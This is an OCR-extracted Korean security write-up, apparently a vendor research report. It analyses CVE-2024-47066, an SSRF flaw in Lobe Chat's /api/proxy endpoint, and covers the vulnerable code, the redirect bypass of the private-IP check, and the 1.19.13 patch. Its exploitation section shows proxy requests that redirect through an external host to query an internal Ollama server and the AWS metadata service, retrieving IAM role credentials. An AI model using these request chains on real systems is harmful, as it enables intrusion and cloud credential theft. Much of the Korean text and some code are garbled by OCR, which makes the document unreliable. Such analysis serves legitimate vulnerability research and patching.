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Lobe Chat 1.19.12 O|™

H HAE 24 14 e
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Lobe Chat 1.19.12
(192.168.102.74:3210)

Kali Linux
(192.168.216.131)

B [ EAE

Step 1. &4 T4
CVE-2024-47066 #H°Fd H2EE ¢3F docker 7o) AA=E EQST Lab ¢ GitHub

=

Repository URL & t}&-3} 7t}

URL: https://github.com/EQSTLab/CVE-2024-47066

B>
Lo
5=
e
i

$4, 34 PC oIM git clone BHoIE Abg3te] CVE-2024-47066 A%
GeEEd. ofF U ANCSE gt usl #3752 @+ Ak

> cd docker
> docker compose up -d

QO & 192.168.102.74:3210/settings/mod.

Kali Linux # KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Hacking DB OffSec

Settings About LobeChat

Version

@° LoheChat
& Changelog Upgrade

v1.19.12 New

2% 3. 9 Lobe Chat &4 &<l
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Step 2. FFH HXEE

CVE-2024-47066 # k4 HAEZE 918 PoC 7} A4E EQST Lab ¢ GitHub Repository
URL & th53

*URL: https://github.com/EQSTLab/CVE-2024-47066

TA2 PC oA git clone WHZS AlE3dle] CVE-2024-47066 A2l PoC =
the 2= g,

Jhome/kali
clone https://github.com/EQSTLab/CVE-20:2
g into "CVE-20
Enumerating objects:

Counting objects: 1€

Compressing objects: 26/

Tﬂti] 31 'd”1t“ 9' reused 18 (delta 2), pack-reused B (from B)
; (3 17.64 MiB/s, done.

a9 4. CVE-2024-47066 PoC H-22Z&

PoC 392 CVE-2024-47066.py = A3 5 a1, 342 PC oA HAF3 do|=2=7}
93] #}2] Lobe Chat 9|4 A&}
| $ python3 CVE-2024-47066.py v [Lobe Chat H O[X|] i [L} £ H O|X]] \

A H> UFolAT A 7Fs3k http//www.internal-service:4000 F4&7F 55 0]
AL, G AH]z=e] SSRF 34 S /\]_I_OH:— AmMe= then 7},
| $ python3 CVE-2024-47066.py -v http://192.168.102.74 —i http://www.internal-service:4000 |

g PoC A3 ANEES ofgfo} o] &A% PC ol 4= 3.
/home/kali/CVE-2024-47066
CVE-2024-47066.py -v http://192.168.102.74:3218 -1 http://vwww.1nt
ernal-service: 4000[]

3% 5. PoC A3 AWUZ oA

o

C 7} W&o +=% 3742 http://www.interal-service:4000 & &3 2+ A

g

%] Exploit loading, please wait.
rten URL: https://sho tu:l qt!’r\,rbl:l.

g S5RF Attack

I8 6. 5 Heoly 23 44
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Step 1. SSRF & Zol| F kst X3 &4

1 AHgx A4 £33 (Custom Plugin)

ohFsl Ze]191S A Y3kE Lobe Chat & Plugin Store W Z2]71¢ Qo% AFgx} A
Ze] 1S A dght

= N & @ localhost:3210/settings/agent X sk &1 A A&

o
% Setting Plugin List | & Custom Plugin |@

and model settings

e danid OOl SeELling

l:l Artifacts

Common Settings

Prefer

b7

System Assistant
Language Model

DALL-E3

Text-to-Speech

Default Assistant

@l » 8 %

About : Tongyi wanxiang Image Generator

©

New version available: w

—h
(5]
=y

)

a7 7. Custom Plugin B2 B2

oz BYe wi T ssol FAHE WHE /15§ Manifest 0] F2E5 Qaol
Manifest 591 ofgjs} 22 A}3

e

identifier E21¢0 17 AMEX}
api EI29 2= APl AHIO[AT} 7|XHE HIE
ui E21010] ZHEJE QHHOAE B2 FA
gateway API QHIO|AE HO|St7| 2|2t HO|EQ0] X|7F
version So{aQle HH HE
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# H Aol me} Manifest 3¢ b3 #£2 json Hd=2 FAHT
{

"api': [
{
"url": "http://localhost:3400/api/clothes™,
"name": "recommendClothes",
"description": "Recommend clothes to the user based on their mood",

"parameters": {
"properties": {
"mood": {
"description”: "The user's current mood, with optional values: happy, sad, anger,
fear, surprise, disgust",
"enums": ["happy", "sad", "anger", "fear", "surprise", "disgust"],
"type": "string"

3
"gender": {
"type": "string",
"enum": ["man", "woman"],
"description”: "The user's gender, which needs to be asked for from the user to
obtain this information"

}
"F‘equir‘ed": ["mood", "gender"],
"type": "object"

] }
"éateway": "http://localhost:3400/api/gateway"”,
"identifier": "chat-plugin-template”,

"uit: {
"url": "http://localhost:3400",
"height": 200

"\’/er‘sion": "t

Lobe Chat oA AH&2t A4 Z27191& E21& W Same-Origin Policysel fujs|o] of 27}
Uehd 5 slth ol proxy & #83) A4 & =S 74l gt
Add Custom Plugin X

https://Ims.eqst.co.ki/home/brd/bbs/listAtciMain?mcd=MC00000081 &bbsCd=LETTER&ctgr

o

LobeChat will install the glugin through this link

. Install via proxy (if encountering cross-origin access errors, try enabling this option and

reinstalling)

Preview of plugin display

Cancel Install Plugin

proxy & Z83% 842 Thayk 2] /api/proxy MEARIECNM AGe 2o 84S Hu)
THe =Yt

a3 8. AHEA A E39ad LT

5 Same-Origin Policy (SOP): oJ® Zxjo A Ee] AU 2THEYF g2 EX0A 7ML gare ds 28 3AS
At Bet iAYS
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Request
eth Raw Hex

POST /api/proxy HTTP/1.1

Host: localhost:3210

Content-Length: 96

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

O U LR e

?I httus:fflms‘eust‘cu.krfhUmefbrdfbbsf1istﬁtclﬁain?mcd:MCB@@BB@Bl&bbsCd:LETTER&ctgr[d=@1&1ang[d=enI

(::) {::} & ||| |search

Response

Pretty Raw Hex Render
26| <html lang="ko">

20 <head>

30 <meta charset="utf-8"»

31 <title»EQST IMSc/title>

7 <meta name="viewport" content="width=device-width,initial-scale=1.8">

33 <meta name="description" content="H|0|A|">

34 <link rel="apple-touch-icon-precomposed” sizes="57x57" href="/tpl/801/img/common/apple-touch-icon-57x57.png™>
35 <link rel="icon" type="image/png"” href="/tpl/001/img/common/favicon-16x16.png" sizes="16x16">

35 <link rel="stylesheet” href="/tpl/@01/libraries/font-awesome-4.6.2/css/font-awesome.min.css™ />

37 <link rel="stylesheet" href="/tpl/001/components/transition.css" />

3 <link rel="stylesheet” href="/tpl/001/components/sidebar.css™ />

<link rel="stylesheet" href="/tpl/801/components/accordion.css" />
<link rel="stylesheet" href="/tpl/801/css/hrd_common.css">
¢link rel="stylesheet" href="/tpl/001/css/webfonts.css™>
<link rel="stylesheet" href="/tpl/001/css/layout.css">
<link rel="stylesheet" href="/tpl/@801/css/effect_slick.css">
4 ¢link rel="stylesheet" href="/tpl/@01/css/jguery-ui.css" />
45 <link rel="stylesheet" href="/tpl/@01/css/jquery.mCustomScrollbar.min.css” />

3% 9. /api/proxy 23 A3}

2) /api/proxy dEZJNE A
/api/proxy & t&¥ & TypeScript ZEE A5 Ut}

import { isPrivate } from 'ip';

import { NextResponse } from 'next/server';
import dns from 'node:dns’;

import { promisify } from 'node:util’;

const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs’;

/**

* just for a proxy
*/

export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;

try {
const lookupResult = await lookupAsync(url.hostname);

address = lookupResult.address;
} catch (err) {
console.error( ${url.hostname} DNS parser error: , err);

return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });

}

const isInternalHost = isPrivate(address);

if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

const res = await fetch(url.toString());

return new Response(res.body, { headers: res.headers });

1
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9 mEd Hel 4 A% A4S 0ee AR,

|const isInternalHost = isPrivate(address); |

if (isInternalHost)
return NextResponse.json{{ error: 'Mot support internal host proxy' }, { status: 488 }); o
const res = await fetch{url.toString());

return new Response(res.body, { headers: res.headers });

D address o A #HolA 9] [P F4Z ip EEY isPrivate & Ea] Wi F420% Flsl F
A= isInternalHost ol #7233t}

@ isInternalHost gko] true 2P 238 BuUj#| ka1 400 o2 S w3k LE]-.
® isInternalHost ko] false 218 fetch 2 84S Bja 52 t}

=
_?lg

isPrivate ¥ ‘ip’ B8 Wl 7¥Eo] vk dld ®ES vk GitHub Repository o4 A&3i=s
g1t 4= Atk
*URL: https://github.com/indutny/node—ip

a3 Repository W lib/ip.js Y-S Aw W t5-3} o] isPrivate 750 7% 28 218 o= it
ip.isPrivate = function (addr) {

/! check loopback addresses first
if (ip.islLoopback(addr)) {

return true; o

-

//{ ensure the ipv4 address is valid

if (!ip.isveFormat(addr)) {
const ipl = ip.normalizeTolong(addr);
if (ipl < &) {

throw new Error('invalid ipv4 address’); o

}
f/ normalize the address for the private range checks that follow
addr = ip.fromLong(ipl);

// check private ranges

return /~(::f{4}:)21eN. ([@-2]{1,3)\. ([8-9]{1,3) . ([©-9]{1,3})8/1i.test (addr)
|| £2¢: .f{4}.)?192‘ .168\. ([8-9141,33)\.([8-9]{1,3})3/1.test(addr)
|| /7~ Ffay:)a72h . (1[6-2]7]2\d| 2@ 31)\. ([@-9]41,3 )\ . ([@-91{1,31)%/1

test(addr)
| /o0 F {43 324600 . 2540 ([8-9]4{1,3})\ - ([8-9]41,3})%/ 1. test (addr) o
| /oF[cd][@-9a-F]{2}:/i.test(addr)
| /~fe88:/i.test(addr)
| 771118/ . test(addr)
| /*::8/.test{addr);

i
D ATTARTE 7171 P9l 20 4914 Selgr

@ isV6Format .2 F47} Py o1%] el obd AS [P FAE AR HSE|A 27}
ohd=] gl

(@)}
oflt
1>
o
N
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® 91 92 BT AU, A [P T4 WA GFERN 0

10.0.0.0 ~ 10.255.255.255 (Class A)

172.16.0.0 ~ 172.31.255.255 (Class B)

192.168.0.0 ~ 192.168.255.255 (Class B)

169.254.0.0 ~ 169.254.255.255 (Link Local Address®)
£c00::/7, £d00::/8 (AH TPv6)

fe80::/10 (IPv6 Link Local Address)

S1 (RN )

-] U
[-'O
ot
Eo

3) /api/proxy AE=FQJE FEH 23
9 A e W, P FaE Jhos AN o)) WY 2L YeT % & Yok
JavaScript ] fetch 3= 84 Al v 22 7] w4 @S 2=tk
let promise = fetch(url, {
method: "GET", // POST, PUT, DELETE, etc.
headers: {
// the content type header value is usually auto-set

// depending on the request body
"Content-Type": "text/plain;charset=UTF-8"

3

body: undefined, // string, FormData, Blob, BufferSource, or URLSearchParams

referrer: "about:client", // or "" to send no Referer header,

// or an url from the current origin

referrerPolicy: "strict-origin-when-cross-origin", // no-referrer-when-downgrade, no-
referrer, origin, same-origin...

mode: "cors", // same-origin, no-cors

credentials: "same-origin", // omit, include

cache: "default", // no-store, reload, no-cache, force-cache, or only-if-cached

redirect: "follow", // manual, error

integrity: "", // a hash, like "sha256-abcdef1234567890"

keepalive: false, // true

signal: undefined, // AbortController to abort request

window: window // null

1)

o] ¥ redirect ¥4 2733k= URL ¢ Zltjo|adS upebdx] AA3) follow 7] 3> AFso=
gitfo]lAAE = URL o 245 3}3l, manual 7] #2 ltpo]dMdE w=Xx] &=t} error 7] 3k
ool vkl Al ol E HEESI) redirect A 7]E 7] 3RS follow ©|E=  gtjolElX o]
SHOR & A 84S HUla I SHES B "ok Ui vES A P& 7R e doe] T4t
53 ES A [PFAR gtjo]dld S-S wislstoha, $fol| A Arsl fetch g2 54 wlzol WH-
YESAZ 84S Hula 9SS

R
;1

olo

¥
%0,
o

6893 27 FAi(Link Local Address): @ #3 W= HH7}F AgkE Pv6 FUMNEE T4
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Step 2. SSRF &2
1) SSRF(Server—-Side Request Forgery) &4
Server-Side Request Forgery(SSRF) &4 34271 A = of=Za]A o]

A
RS s sl @ Hobdelth o) 34 Bl FAe A}
BT 24T 5 ok
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2) Lobe Chat SSRF 32 AU
1. Al BB €35
g Al AR g3 Ay o= veat 7212 Wi LLM 3ol A z18= A,
Ollama 192.168.102.231:16728
Ollama ¢] 7$¢- M= 0= 1}go] ZA5}#] Fomz Ui o] SSRE #eFdo] &g A% RESTful
APl 2 LLM AKX &37} 71531

flo

Ollama = 5% LLM 29 F4o) 2738 ¥ 7%, ta3t 2] Ollama 7} 52 91 A& 21T
% gl
Request

Raw Hex o =

1 POST /api/proxy HTTP/1.1

7 Host: 13.209.88.70

3 Content-Length: 53

4 User-Agent: Mozilla/5.8 (Windows NT 18.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36
5 Connection: keep-alive

?_http:ff3‘35‘24‘239?ur14http:ff192‘168‘102,231:16?2ﬂ
@@ & || 2| |search

Response

Raw Hex Render

HTTP/1.1 200 OK
vary: RSC, Next-Router-5ta
content-length: 17
content-type: text/plaij; charset=utf-8
date: Fri, 04 Oct 2024/83:11:44 GMT

Connection: keep-ali
Keep-Alive: timeou

-Tree, Next-Router-Prefetch

(= Q- R T R S SV N

0llama is running

a9 11.LLM 22 F4& HZ g9l

3§ Ollama °| M of"l LLM E.¥lo] AR§-5]=A] /api/tags =0l 845 Huf SR18 4= gl
Request

Pretty Raw Hex ®
CuleeTi-CeENg L. ue
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

Connection: keep-alive

[ RO W N S

Response
Pretty Raw Hex
8
9] {
"models”: [
{

"name”:"EQST_AI3.1-708B-08:latest",

"model”:"EQST_AI3.1-7@B-08:latest”,
"modified_at":"2024-09-30T06:37:24.150348367",

"size":74975055005,

"digest”: "ee0406e568fc65b6bec6@bdddaT7bbb4300ecaltb804f0aaB6ThobEf06b30a4E8",
"details”:{

% 12. /api/tags HZ
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/api/ps 7AEe 84 B ojulg LLM Edlo] wRejo] S} =A% FQl 713t

Request

pretty  Raw  Hex o =
1 POST /fapi/proxy HTTP/1.1

2 Host: 13.200.88.7@

3 Content-Length: 6@

4 User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.120 Safari/537.36

Response
Pretty Raw Hex Rende =

8
o [{

"models”:[

]

¥ 13. /api/ps B
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o] s Xt 3.35.156.32

34Xt 3.35.24.239

Sehgs Aul2 P ALRIQE S S8 SJshas AWS o4 AnlZ $91 Ak wAe) Lobe
Chat 2 48T, AWS S04 QA2 T4 e pejshod] A = 9t A dojels
HEldlo]Hetar gtk o= http://169.254.159.254 FA4AE Sl F 4 a1, A2EZoA [AM
AN AAFHA e b el ol 445 9AE B A4 FA Tl

Metadata versionl & AF&-8R= 34 ol|A] th-3} 2Fo] http://169.254.169.254/latest/meta—data 73 =9l
Aehd, ojugt wEbdolE 7} Q1B o] EAlsH=A] &9l & %ﬂi T AUtk F A= W jam/o]
TR o= 3 AxE2T) IAM Role & ARESEIL Qlvhs A& 53 5= gltk

Request

Pretty Raw Hex

POST /api/proxy HTTP/1.1
Host: 13.200.88.70

Content-Length: 65
User- Agent Hozﬂla!S @ (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.128 Safari/537.36

T

LA s L R e

@ @ &> ear-:l'u

Render

Prett Hex

13 identity-credentials/

a7 14. 1AM/ BE &<
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o] = jam/security—credentials 7420+ rnt-ssrf 2= [AM Role ©] A& gith
Request

Preth Raw Hex

POST /api/proxy HTTP/1.1
Host: 13.200.88.70

Content-Length: 9@
User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; xb64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36

B L R

(Y
o)
o
=
b}
[
%]
-+
e
=1
=
=
o
1]

o

)
W
el
:.
7]

http://3.35.24.2392ur1=http://169. 254,160,254/ 1atest/meta-data/iam/security-credentials/|

- o

&)@ <=2 Search

Response

Prett Raw Hex Render

HTTP/1.1 208 0K

wvary: RSC, Next-Houter-State-Tree, Next-Router-Prefetch
accept-ranges: Rytes

connection: kedp-alive

content-lengtfi: &

content-type/ text/plain

date: Fri, §4 Oct 2024 00:05:43 GMT

last-modified: Thu, 83 Oct 2024 23:55:42 GMT

server: Ef2ws

11| rnt-ssrf |

[0 ST

[T = R R

a9 15.IAM AEF F9 F= g2

39 ol 2] 1AM Role ol 1T8ldl Th&3) 2ol IAM AA%% 4RE 3458 F 3

Request

pretty  Raw  Hex R n
POST /api/proxy HTTP/1.1

7 Host: 13.209.88.70
3 Content-Length: 98
4 User-Agent: Mozilla/5.8 (Windows NT 18.8; Winh4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.8.6613.128 Safari/537.36
5 Connection: keep-alive
&
7 http;N3‘35‘24.239?ur1=|http:ff159‘254‘159.254flatestfmeta—datafiarru’5ecurity—credentials!rnt—ssrﬂ
@@ € ||| | search £ 0 highlights
Response
Prefhy Raw Hex Render = N =
[
12| "Code™ : "Success”,
13 “LastUpdated” : “2024-10-83T723:55:152",
14| "Type™ : "AWS-HMAC",
15 "AccesskeyId” : "ASIA "3
16 "SecretAccessKey" : " : 7
17 "Token" :
e e = EEE NN CEeEE M S N S = - - O . " n -G .
= T ==a = = m = om= Em = = L
u = = - [ = = u=w = = m ] s
m = = [ - = L = = = oEE =
= i - i
- n = W =@ G oEm = = = = E——— =] I 2 ; =—m wm
— —————— —

=g 16. A4 =% 23
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a9 17. 5% A4 FHeE dxd

>
i
4
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m S ulot

O -

CVE-2024-47066 7} #32%]7] 791 9 € 20 ¢, dld A x| WA 1.19.13 o] SAIHACh
g HH Ax FEE ol HAE Fa g1 4 k.
*URL: https://github.com/lobehub/lobe—chat/tree/v1.19.13

e FHokd x| 8- ot BAE Fal &1 5 Uk

*URL: https://github.com/lobehub/lobe—
chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf#diff-
7863de9f92a2b10e6b7e0438075¢9d9f2639640eb5310505¢64a0dalladd43f3R7
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% gl

~ =rcfappdapifprovy/route.ts (_@ :

v
~ src/app/wsbapi/proxy/route. ts [_E_,:]
aay BE -8,8 +1,19 @@
1 + impart { MextResponse } from "mext/server';
2 + import fetch from ‘node-fetch';
3 + impert { usefAgent as ssrfiAgent } from ‘reguest-filtering-apent':
- -
= s fEE
& £ * just for a proxy
7 -
8 + export const POST = async {reg: Regquest) => {
= - const url = await reg.text();
18 =
11 + try
12 + const res. = await fetchlurl, { agent: ssrfigent{url) });

28 18. ¥A 1.19.13 route.ts WA AL

EQST insight | 16




F ko] WAIE app/api/proxy/route.ts TE=ZE  app/webapi/proxy/route.ts = W3S AL,

A= U} 2.

import { NextResponse } from 'next/server';

import fetch from 'node-fetch';

import { useAgent as ssrfAgent } from 'request-filtering-agent';
/**

* just for a proxy

*

export const POST = async (req: Request) => {
const url = await req.text();
try {
const res = await fetch(url, { agent: ssrfAgent(url) });
return new Response(await res.arrayBuffer(), { headers: { ...res.headers } });
} catch (err) {
console.error(err); // DNS lookup 127.0.0.1(family:4, host:127.0.0.1.nip.io) is not
allowed. Because, It is private IP address.
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

Ao] #38% request—filtering—agent 25 839 fetch 4=
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2% 19. F 23§ Lobe Chat 31X #HA

Al Zx] Y92 olel] HA0A E1E 4= Qltt.
*URL: https://github.com/lobehub/lobe—chat/releases
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« GitHub Repository (Lobe Chat) : https://github.com/lobehub/lobe-chat

» Local Plugin Development : https://lobehub.com/docs/usage/plugins/development

» mdn web docs (Same-origin Policy) : https://developer.mozilla.org/en-US/docs/Web/Security/Same-
origin_policy

« GitHub Advisory Database (lobe-chat */api/proxy’ endpoint Server-Side Request Forgery vulnerability):
https://github.com/advisories/GHSA-mxhg-xw3g-rphc

« GitHub Advisory Database (Insufficient fix for GHSA-mxhqg-xw3g-rphc (CVE-2024-32964)):
https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg

« RFC3927 (Dynamic Configuration of IPv4 Link-Local Addresses):
https://datatracker.ietf.org/doc/html/rfc3927

« JavaScript Info (Fetch API): https://javascript.info/fetch-api

« AWS(Run commands when you launch an EC2 instance with user data input) :
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html

» RAON - Core Research Team (AWS Instance Meta-data SSRF to RCE) : https://core-research-
team.github.io/2022-11-01/AWS-Instance-Meta-data-SSRF-to-RCE

« Ollama (RESTful API): https://github.com/ollama/ollama/blob/main/docs/api.md
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